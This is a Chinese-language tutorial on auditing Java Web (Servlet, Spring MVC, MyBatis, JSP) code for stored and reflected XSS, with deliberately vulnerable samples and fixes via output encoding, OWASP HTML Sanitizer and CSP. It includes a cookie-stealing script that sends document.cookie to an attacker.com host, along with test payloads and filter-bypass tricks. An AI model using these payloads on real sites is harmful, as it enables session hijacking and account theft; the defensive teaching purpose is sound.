Java Web应用XSS漏洞代码审计实战:从原理到修复

发布时间:2026/7/5 9:28:39

Java Web应用XSS漏洞代码审计实战:从原理到修复 1. 项目概述从代码视角看XSS的“前世今生”干了这么多年安全尤其是Java方向的代码审计我发现一个挺有意思的现象很多开发同学对XSS跨站脚本攻击的认识还停留在“不就是弹个窗吗”的阶段。直到某天自家应用被挂上了挖矿脚本或者用户数据被悄无声息地盗走才追悔莫及。今天这篇咱们就抛开那些泛泛而谈的理论直接扎进代码里用审计者的眼光把Java Web应用里XSS漏洞的“病根”给刨出来。我会结合一个真实的、稍加改造就能复现的案例带你走一遍从漏洞发现、原理分析到修复建议的完整流程。无论你是刚入门的安全工程师还是想提升代码安全性的Java开发这篇文章都能给你提供一套可直接上手的“诊断”思路和工具。简单来说XSS漏洞的核心就一句话不可信的数据在没有被充分验证和转义的情况下被当成了代码执行了。在Java Web的世界里这个“执行”的舞台往往就是JSP页面而漏洞的源头则藏在Controller、Service层层传递的数据流中。很多人觉得用了Spring Boot、各种框架就高枕无忧了但框架只是提供了工具用不对地方该有的漏洞一个都不会少。2. XSS漏洞在Java Web中的核心成因与代码定位要审计XSS你得先知道它在Java代码里通常长什么样。不同于PHP里常见的echo直接输出Java Web应用特别是MVC架构的数据流有固定的路径漏洞点也相对集中。2.1 漏洞产生的典型代码模式最经典的漏洞代码模式可以参考下面这个简化版的ServletWebServlet(/vulnerable) public class VulnerableServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String userInput request.getParameter(comment); // 1. 获取用户可控输入 request.setAttribute(displayContent, userInput); // 2. 未经任何处理放入请求域 request.getRequestDispatcher(/display.jsp).forward(request, response); // 3. 转发到JSP页面 } }对应的JSP页面display.jsp可能这样写% page contentTypetext/html;charsetUTF-8 languagejava % html body div用户评论${displayContent}/div !-- 4. 直接使用EL表达式输出 -- /body /html漏洞产生的四步曲可控输入点request.getParameter(comment)获取了用户通过URL或表单提交的数据。这是攻击的入口。缺失处理环节获取到的userInput字符串没有经过任何过滤、验证或转义。这是漏洞的关键。污染数据传递通过request.setAttribute将污染数据共享到请求作用域准备传递给视图层。危险输出点在JSP页面中使用EL表达式${displayContent}直接输出。EL表达式默认不会对HTML进行转义它会原样输出字符串。如果displayContent里包含scriptalert(1)/script这段脚本就会被浏览器当作HTML和JavaScript代码解析执行。关键理解这里容易混淆的是JSTL的c:out标签和EL表达式。c:out value${input} /默认是会对HTML进行转义的相当于调用了ESAPI.encoder().encodeForHTML()而单纯的${input}则不会。很多开发者在模板中混用或者错误地认为EL表达式是安全的这就埋下了隐患。2.2 审计时的核心搜索关键词与技巧在审计一个大型Java项目时我们不可能一行行读代码。需要借助IDE的全局搜索功能高效定位风险点。根据漏洞产生的模式可以重点关注以下几类代码1. 搜索输出到前端的方法全局搜索EL表达式在JSP、Thymeleaf、FreeMarker模板中搜索${。这是最高效的方式能直接定位到所有前端输出点。搜索JSP输出标签如% ... %脚本表达式极危险、c:out需检查其escapeXml属性是否为false。搜索Response直接输出搜索response.getWriter().print()或response.getWriter().write()特别是在Servlet或RestController中这种直接将数据写入HTTP响应的方式风险极高。2. 搜索数据接收与传递的方法搜索参数获取request.getParameter(),request.getParameterValues(),RequestParamSpring MVC注解。搜索模型属性设置model.addAttribute()Spring MVC,request.setAttribute()。找到这些地方就找到了数据从Controller流向View的“上车点”。搜索数据库操作关注MyBatis的Insert、Select注解或XML映射文件中参数是如何被使用的。存储型XSS的污染数据就是从这里进入数据库的。3. 区分反射型与存储型反射型XSS数据流是“用户输入 - 后端处理 - 立即返回前端展示”。审计时关注那些将请求参数直接或经过简单拼接后设置到模型属性并跳转到视图的方法。它的利用需要诱骗用户点击特定链接。存储型XSS数据流是“用户输入 - 后端处理 - 存入数据库 - 另一个请求从数据库读出 - 返回前端展示”。审计时需要追踪一条完整的数据链从接收参数的Controller到处理业务的Service再到执行持久化的DAO/Repository最后回到另一个负责展示的Controller和View。它的危害更大因为漏洞payload存储在服务器上会影响所有访问特定页面的用户。实操心得我习惯先用“${”在项目模板文件中进行一轮快速扫描把所有输出点列出来。然后针对每个输出点反向追踪其数据来源哪个model.addAttribute设置的再顺藤摸瓜找到最初接收参数的地方。这个过程就像侦探破案梳理清楚数据的“污染路径”是审计成功的关键。3. 实战案例拆解一个评论功能的存储型XSS审计光说不练假把式。我们假设一个典型的博客系统它有一个评论功能。用户提交的评论会被保存到数据库然后在文章详情页展示出来。我们就来审计这个功能。3.1 案例代码结构与漏洞定位假设项目结构是典型的Spring Boot MyBatis JSP。第一步定位前端表单与提交接口前端评论表单可能位于/WEB-INF/views/article/detail.jspform action/comment/submit methodpost textarea namecontent idcommentContent/textarea input typehidden namearticleId value${article.id}/ button typesubmit提交评论/button /form这里告诉我们数据提交到了/comment/submit参数是content和articleId。第二步审计Controller层在IDE中全局搜索PostMapping(/comment/submit)或RequestMapping相关路径找到对应的控制器CommentControllerController RequestMapping(/comment) public class CommentController { Autowired private CommentService commentService; PostMapping(/submit) public String submitComment(RequestParam String content, RequestParam Long articleId, HttpServletRequest request) { // 1. 获取当前用户假设从Session User user (User) request.getSession().getAttribute(currentUser); // 2. 组装评论对象 Comment comment new Comment(); comment.setContent(content); // 用户输入的content直接set进来 comment.setArticleId(articleId); comment.setUserId(user.getId()); comment.setCreateTime(new Date()); // 3. 调用Service层保存 commentService.saveComment(comment); // 4. 重定向回文章页 return redirect:/article/detail?id articleId; } }风险点1content参数通过RequestParam注入直接赋值给Comment对象的content属性没有任何过滤或转义。第三步审计Service与DAO层跟踪commentService.saveComment(comment)方法。通常Service层只是透传重点在DAOMyBatis Mapper。CommentMapper.java接口Mapper public interface CommentMapper { int insert(Comment comment); }对应的CommentMapper.xmlinsert idinsert parameterTypecom.example.entity.Comment INSERT INTO t_comment (content, article_id, user_id, create_time) VALUES (#{content}, #{articleId}, #{userId}, #{createTime}) /insert风险点2MyBatis的#{}是预编译占位符能防止SQL注入但它对XSS毫无防御能力。它只是将comment对象的content属性值可能包含恶意脚本原样插入数据库。第四步审计数据展示环节评论展示通常在文章详情页。找到渲染评论列表的Controller例如ArticleController的detail方法GetMapping(/article/detail) public String detail(RequestParam Long id, Model model) { Article article articleService.getById(id); ListComment comments commentService.getCommentsByArticleId(id); // 从数据库读取评论 model.addAttribute(article, article); model.addAttribute(comments, comments); // 将评论列表放入模型 return article/detail; }然后在article/detail.jsp中c:forEach items${comments} varcomment div classcomment p${comment.content}/p !-- 危险直接输出数据库中的内容 -- /div /c:forEach风险点3从数据库读出的comment.content通过EL表达式${comment.content}直接输出到HTML页面。如果数据库里存的是scriptalert(XSS)/script那么每个访问这篇文章的用户都会中招。至此一条完整的存储型XSS漏洞链就清晰了用户提交恶意评论 - Controller接收并存入对象 - MyBatis写入数据库 - 另一个Controller从数据库读出并放入模型 - JSP页面直接渲染输出。3.2 漏洞利用与影响验证为了验证漏洞确实存在且可利用我们可以构造一个简单的Payload进行测试。测试Payloadscriptalert(document.domain)/script或者更具危害性的Payload如窃取用户Cookiescriptvar img new Image(); img.src http://attacker.com/steal?cookie encodeURIComponent(document.cookie);/script测试步骤在博客系统的评论框内输入上述Payload并提交。提交后页面重定向回文章页。此时由于是重定向后的新请求Payload可能不会立即执行因为当前页面渲染的是新请求的结果而新请求的评论列表可能还未包含刚提交的评论。刷新文章详情页或者等待其他用户或自己换个浏览器访问该文章页面。当页面加载并渲染到这条评论时浏览器会执行script标签内的JavaScript代码。如果看到弹窗显示当前域名或者你的Cookie被发送到攻击者的服务器需要搭建一个接收端则证明存储型XSS漏洞存在且高危。注意事项在实际渗透测试或安全演练中必须在合法授权的环境下进行。使用alert(document.domain)是证明漏洞存在的常见且相对无害的方式。绝对禁止在未授权的生产环境进行任何攻击测试。漏洞影响范围所有查看该文章的用户他们的浏览器都会执行恶意脚本。可能造成的危害会话劫持窃取用户的登录Cookie攻击者可直接登录用户账户。钓鱼攻击在页面中插入伪造的登录框诱骗用户输入账号密码。键盘记录监听用户的键盘输入。挖矿在用户浏览器中植入挖矿脚本消耗用户CPU资源。篡改页面内容破坏网站正常显示传播不良信息。4. 修复方案从输入到输出的立体防御修复XSS漏洞绝不能只依赖某一层的防护。一个健壮的防御体系应该贯穿数据处理的整个生命周期。4.1 方案一在输出层进行HTML编码推荐首选这是最根本、最有效的防御方式。原则是数据在离开可信后端进入不可信前端浏览器时必须根据上下文进行编码。1. 在JSP中使用JSTL的c:out标签%-- 错误做法直接输出 --% p${comment.content}/p %-- 正确做法使用c:out其默认escapeXmltrue --% pc:out value${comment.content} //p %-- 特别注意如果确实需要输出HTML如富文本编辑器内容则需明确关闭转义并确保内容经过严格净化 --% pc:out value${richContent} escapeXmlfalse //p !-- 危险需配合方案二 --c:out默认行为会将,,,,等字符转换为HTML实体如变为lt;从而破坏脚本的语法结构。2. 在Spring MVC视图中使用Thymeleaf或FreeMarker现代Spring Boot项目常用Thymeleaf它默认会对所有${...}表达式进行HTML转义安全性很高。!-- Thymeleaf 默认安全 -- p th:text${comment.content}/p !-- 如果确实需要输出不转义的HTML必须显式使用 th:utext (Unescaped Text) -- p th:utext${trustedHtmlContent}/p !-- 危险需确保内容绝对可信 --3. 在RestController或直接使用HttpServletResponse输出时对于返回JSON的APIXSS风险通常较低因为浏览器不会把JSON当HTML解析。但如果API响应被前端JavaScript动态插入到HTML中例如innerHTML则仍需警惕。建议在Web层统一配置或使用工具类。import org.springframework.web.util.HtmlUtils; RestController public class ApiController { GetMapping(/api/comment) public Comment getComment() { Comment comment commentService.getCommentById(1L); // 如果前端可能错误地将content当作HTML插入可以在返回前编码 // comment.setContent(HtmlUtils.htmlEscape(comment.getContent())); return comment; // 通常API返回JSON前端负责安全渲染 } }4.2 方案二对富文本内容进行“消毒”Sanitization对于评论、文章详情等需要保留部分HTML格式如加粗、斜体、链接的场景不能简单地转义所有字符否则格式会丢失。这时需要“消毒”——只允许安全的HTML标签和属性通过。使用OWASP Java HTML Sanitizer这是一个强大的库可以定义白名单策略。!-- 在pom.xml中添加依赖 -- dependency groupIdcom.googlecode.owasp-java-html-sanitizer/groupId artifactIdowasp-java-html-sanitizer/artifactId version20220608.1/version /dependencyimport org.owasp.html.HtmlPolicyBuilder; import org.owasp.html.PolicyFactory; public class HtmlSanitizerUtil { private static final PolicyFactory POLICY new HtmlPolicyBuilder() .allowElements(p, br, b, i, u, strong, em, a) .allowUrlProtocols(http, https) .allowAttributes(href).onElements(a) .requireRelNofollowOnLinks() .toFactory(); public static String sanitize(String html) { if (html null) return ; return POLICY.sanitize(html); } }在保存评论前调用comment.setContent(HtmlSanitizerUtil.sanitize(content));4.3 方案三使用内容安全策略CSP作为最后一道防线CSP是一个HTTP响应头它告诉浏览器只允许加载和执行来自特定来源的脚本、样式等资源。即使网站存在XSS漏洞CSP也能极大限制攻击者的能力。在Spring Boot中配置CSPimport org.springframework.context.annotation.Configuration; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.web.SecurityFilterChain; import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; Configuration public class SecurityConfig { Bean public SecurityFilterChain filterChain(HttpSecurity http) throws Exception { http // ... 其他安全配置 .headers(headers - headers .contentSecurityPolicy(csp - csp .policyDirectives(default-src self; script-src self https://trusted.cdn.com; style-src self unsafe-inline;) ) ); return http.build(); } }这个策略表示默认只允许加载同源self资源脚本只允许来自同源和https://trusted.cdn.com样式允许同源和内联样式unsafe-inline为兼容性有时需要。这样即使恶意脚本被注入只要其来源不在白名单内浏览器就会拒绝执行。修复方案对比与选择方案实施位置优点缺点适用场景输出编码视图层JSP, Thymeleaf等最根本一劳永逸不影响数据存储需确保所有输出点都正确编码所有场景的黄金标准必须做输入消毒控制层/业务层保存数据前数据在入库前即净化一劳永逸可能误杀合法格式对富文本处理复杂富文本内容评论、文章正文CSP网络层HTTP响应头深度防御即使有漏洞也能缓解配置复杂可能影响第三方资源加载所有生产环境作为加固手段我的实操建议三者结合使用。对于普通文本坚持在输出层做HTML编码方案一。对于富文本在入库前进行严格的基于白名单的消毒方案二。最后为整个应用配置合适的CSP策略方案三。千万不要只在输入层做简单的黑名单过滤如替换script这种方法是极其脆弱且容易被绕过的。5. 审计工具与排查技巧实录手工审计虽然彻底但效率较低。在实际工作中我会结合工具进行辅助扫描和排查。5.1 静态代码分析工具SAST这类工具通过分析源代码来发现潜在的安全漏洞。SpotBugs Find Security Bugs插件这是Java生态中最易用的安全扫描组合之一。安装后它能在IDE或构建过程中直接标记出疑似XSS的代码点例如发现HttpServletResponse.getWriter().write()直接使用了用户输入。如何使用在Maven项目中添加插件运行mvn spotbugs:spotbugs即可生成报告。优点集成性好能发现很多潜在问题。缺点误报率不低需要人工复核。它只能识别明显的危险函数调用模式对于经过复杂业务逻辑流转的数据流追踪能力有限。SonarQube功能强大的代码质量管理平台内置了安全检测规则包括XSS。可以搭建在服务器上对每次代码提交进行持续检测。规则示例“User-controlled data is used directly in an output function without being sanitized.”工具使用心得不要完全依赖工具的报告。要把工具当作一个“可疑点提示器”。它报出的每一个点你都需要人工去追踪完整的数据流从源头参数获取到终点前端输出确认数据是否真的可控且未被净化。很多误报是因为工具无法理解某些自定义的过滤函数或安全库的调用。5.2 动态应用测试工具DAST与手动测试在代码审计的同时或之后用工具模拟攻击行为进行验证。Burp Suite / OWASP ZAP这是渗透测试人员的标配。配置好代理用浏览器正常使用网站的所有功能。这些工具会记录下所有的HTTP请求。主动扫描使用工具的主动扫描功能它会自动向所有参数插入各种测试Payload。手动测试在Burp的Repeater模块手动修改请求参数插入XSS Payload如img srcx onerroralert(1)观察响应。重点看响应中你的Payload是否被原样返回、是否被转义、是否出现在script标签内等。浏览器开发者工具这是最直接的手动测试工具。在疑似输出点查看网页源代码不是Elements面板因为Elements显示的是解析后的DOM搜索你提交的Payload看它是以文本形式lt;scriptgt;还是以HTML标签形式script存在。5.3 常见问题排查清单在审计和修复过程中你肯定会遇到各种“坑”。下面这个清单是我多年总结的现象可能原因排查步骤修复后页面显示HTML代码输出编码被重复执行了双重编码。例如入库时转义了一次输出时又转义了一次。1. 检查数据库存储的内容是否已经是lt;scriptgt;这样的实体。2. 检查输出逻辑是否对已经编码的内容再次编码。富文本格式全部丢失使用了过于严格的HTML编码或消毒策略把合法的b、p等标签也过滤掉了。1. 检查消毒工具的白名单配置是否包含了需要的标签。2. 确认是否错误地在富文本区域使用了普通的HTML编码。特定Payload能绕过过滤黑名单过滤不完善或消毒逻辑存在缺陷。1. 测试大小写变形ScRiPt、标签嵌套scrscriptipt、使用非标准事件或属性onmouseover,hrefjavascript:。2. 审查消毒库的版本和规则考虑升级或使用更强大的库如OWASP Java HTML Sanitizer。在JSON API中发现的XSS前端错误地使用了innerHTML或document.write()来解析API返回的JSON数据。1. 审查前端JavaScript代码查找不安全的DOM操作。2. 教育前端开发人员使用textContent或安全的模板引擎。CSP策略导致网站功能异常CSP指令过于严格阻止了必要的脚本或样式加载。1. 检查浏览器控制台的CSP报错信息。2. 逐步放宽策略例如先设置为default-src *然后根据报错逐个添加必要的源到白名单。一个典型的排查案例有一次修复后测试同学反馈某个下拉框的默认值显示不正常了变成了quot;adminquot;。排查发现这个下拉框的值是在后端通过model.addAttribute(defaultValue, \admin\)设置的前端JSP用${defaultValue}输出到option value${defaultValue}里。修复XSS时我们全局加了一个过滤器对所有输出进行HTML编码结果双引号被编码成了quot;破坏了HTML属性。解决方案不是所有上下文都需要HTML编码。在HTML标签属性值里我们需要的是针对属性的编码转义和等。这引出了“上下文相关输出编码”的重要性在复杂场景下可能需要使用专门的编码库如OWASP ESAPI来处理不同上下文HTML Body, HTML Attribute, JavaScript, CSS, URL。6. 深入理解为什么框架不能完全杜绝XSS很多开发者会有这样的误解“我用了Spring Boot/Spring MVC框架不是应该帮我处理好安全了吗” 这是一个非常危险的认知。框架提供了构建安全应用的工具和最佳实践但它不会自动帮你做对每一件事。Spring MVC的RequestParam和ModelAttribute它们负责将HTTP请求参数绑定到Java对象上这个过程本身不涉及任何数据清洗或编码。它只是做了一个类型转换String转int等和赋值。安全是开发者的责任。Thymeleaf的自动转义这确实是一个很好的默认安全机制。但如果你错误地使用了th:utext或者在某些场景下禁用了转义防护就失效了。框架给了你安全的“默认配置”但同时也给了你“关闭安全”的选项。MyBatis的#{}它防的是SQL注入原理是预编译PreparedStatement将参数作为数据而非SQL指令的一部分。XSS是输出到HTML时产生的问题和数据库层无关。数据安全是一个链条每个环节都有自己的职责。根本原因XSS是一种“输出上下文”问题。后端代码无法预知前端将在何种上下文中使用这些数据是放在HTML标签里、属性里、JavaScript变量里还是CSS里。因此最合理的做法是在数据即将离开可控的后端环境进入不可控的前端解析环境时根据其即将进入的上下文进行正确的编码。这个动作框架无法自动为你完成因为它依赖于业务逻辑。所以永远不要将安全寄托于框架或某个单一的库。建立纵深防御体系在输入验证、业务处理、持久化存储、输出编码等多个层面布防同时保持对安全问题的持续关注和学习才是应对XSS以及其他安全威胁的正道。每次代码评审时都把“数据从哪里来到哪里去中间经历了什么”作为必问的问题很多漏洞在萌芽阶段就能被发现。

相关新闻